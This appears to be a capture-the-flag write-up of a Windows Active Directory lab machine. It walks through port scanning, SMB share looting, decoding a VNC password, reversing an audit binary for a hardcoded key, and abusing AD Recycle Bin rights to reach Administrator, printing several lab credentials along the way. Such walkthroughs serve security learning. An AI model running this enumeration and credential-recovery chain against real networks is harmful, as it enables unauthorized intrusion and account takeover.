$ nmap -p- --min-rate 5000 -Pn 10.129.178.248
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 08:23 EDT
Nmap scan report for 10.129.178.248
Host is up (0.0083s latency).
Not shown: 65520 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown
There was a cascadceLegacyPwd field, which is normally not present. Decoded, this gives rY4n5eva. Using these credentials, we can gain access to the SMB shares, but no shell yet.
$ smbmap -H 10.129.178.248 -u r.thompson -p rY4n5eva
[+] IP: 10.129.178.248:445 Name: 10.129.178.248
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Audit$ NO ACCESS
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
print$ READ ONLY Printer Drivers
SYSVOL READ ONLY Logon server share
SMB Shares
We can enumerate the files within the SMB shares, and hopefully find some credentials. I downloaded all the files within the Data share.
$ smbclient -U r.thompson //10.129.178.248/Data
Password for [WORKGROUP\r.thompson]:
Try "help" to get a list of possible commands.
smb: \> mask ""
smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Contractors\*
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Temps\*
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as IT/Email Archives/Meeting_Notes_June_2018.html (74.6 KiloBytes/sec) (average 74.6 KiloBytes/sec)
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log (29.6 KiloBytes/sec) (average 49.1 KiloBytes/sec)
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as IT/Logs/DCs/dcdiag.log (153.3 KiloBytes/sec) (average 83.9 KiloBytes/sec)
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as IT/Temp/s.smith/VNC Install.reg (81.8 KiloBytes/sec) (average 83.4 KiloBytes/sec)
The Printer share had a bunch of DLLs and other printer-related files like images, which was not interesting. Out of all files downloaded, the VNC Install one was the most interesting. VNC is sort of like RDP, so there might be credentials there.
Sure enough, we can find a password there. However, VNC passwords are encrypted, and they can be decoded by following the instructions on this repository:
With these credentials, we can login as s.smith.
Grab the user flag.
Privilege Escalation
CascAudit.exe -> ArkSvc Creds
We can first enumerate what groups this user is part of:
*Evil-WinRM* PS C:\Users\s.smith\Desktop> net user s.smith
User name s.smith
Full Name Steve Smith
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/28/2020 8:58:05 PM
Password expires Never
Password changeable 1/28/2020 8:58:05 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script MapAuditDrive.vbs
User profile
Home directory
Last logon 1/29/2020 12:26:39 AM
Logon hours allowed All
Local Group Memberships *Audit Share *IT
*Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
Audit Share is rather interesting. We can take another look at the SMB shares I have available to s.smith.
$ smbmap -H 10.129.178.248 -u s.smith -p sT333ve2
[+] IP: 10.129.178.248:445 Name: 10.129.178.248
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Audit$ READ ONLY
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
print$ READ ONLY Printer Drivers
SYSVOL READ ONLY Logon server share
There's a new share called Audit$ available. Within it, there were some files, including a DB file.
$ smbclient -U s.smith //10.129.178.248/Audit$
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 29 13:01:26 2020
.. D 0 Wed Jan 29 13:01:26 2020
CascAudit.exe An 13312 Tue Jan 28 16:46:51 2020
CascCrypto.dll An 12288 Wed Jan 29 13:00:20 2020
DB D 0 Tue Jan 28 16:40:59 2020
RunAudit.bat A 45 Tue Jan 28 18:29:47 2020
System.Data.SQLite.dll A 363520 Sun Oct 27 02:38:36 2019
System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 02:38:38 2019
x64 D 0 Sun Jan 26 17:25:27 2020
x86 D 0 Sun Jan 26 17:25:27 2020
6553343 blocks of size 4096. 1627021 blocks available
smb: \> cd DB
smb: \DB\> ls
. D 0 Tue Jan 28 16:40:59 2020
.. D 0 Tue Jan 28 16:40:59 2020
Audit.db An 24576 Tue Jan 28 16:39:24 2020
Audit.db was an SQLite database file, which we can open using sqlite3.
$ sqlite3 -readonly Audit.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
DeletedUserAudit Ldap Misc
sqlite> SELECT * FROM ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
We have another password, and this wasn't base64 encoded. In this case, let's take another look at the .exe file and open it within DnSpy on my Windows VM. When we decompile the main function, this is what we see:
publicstaticvoidMain() {if (MyProject.Application.CommandLineArgs.Count!=1) {Console.WriteLine("Invalid number of command line args specified. Must specify database path only");return; }checked {using (SQLiteConnection sqliteConnection =newSQLiteConnection("Data Source="+MyProject.Application.CommandLineArgs[0] +";Version=3;")) {string str =string.Empty;string password =string.Empty;string str2 =string.Empty;try {sqliteConnection.Open();using (SQLiteCommand sqliteCommand =newSQLiteCommand("SELECT * FROM LDAP", sqliteConnection)) {using (SQLiteDataReader sqliteDataReader =sqliteCommand.ExecuteReader()) {sqliteDataReader.Read(); str =Conversions.ToString(sqliteDataReader["Uname"]); str2 =Conversions.ToString(sqliteDataReader["Domain"]);string text =Conversions.ToString(sqliteDataReader["Pwd"]);try { password =Crypto.DecryptString(text,"c4scadek3y654321"); }catch (Exception ex) {Console.WriteLine("Error decrypting password: "+ex.Message);return; } }
There was some type of password encrypting, and it uses c4scadek3y654321 to do so. It also uses the database that is present as an argument. In this case, I ran it within my machine after setting a breakpoint at the password line after passing the absolute directory of the Audit.db file as one argument.
When we view the local variables, we find a password:
With this, we can login as the ArkSvc user.
Recycle Bin
This user is part of the Recycle Bin group:
*Evil-WinRM* PS C:\Users\arksvc\Documents> net user arksvc
User name arksvc
Full Name ArkSvc
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/9/2020 5:18:20 PM
Password expires Never
Password changeable 1/9/2020 5:18:20 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/29/2020 10:05:40 PM
Logon hours allowed All
Local Group Memberships *AD Recycle Bin *IT
*Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
This means we can restore and view deleted items. We can run this one-liner:
This decodes to give baCT3r1aN00dles, and I noticed this was for a user called TempAdmin. By testing password reuse, we find that we can login as the Administrator using this password.
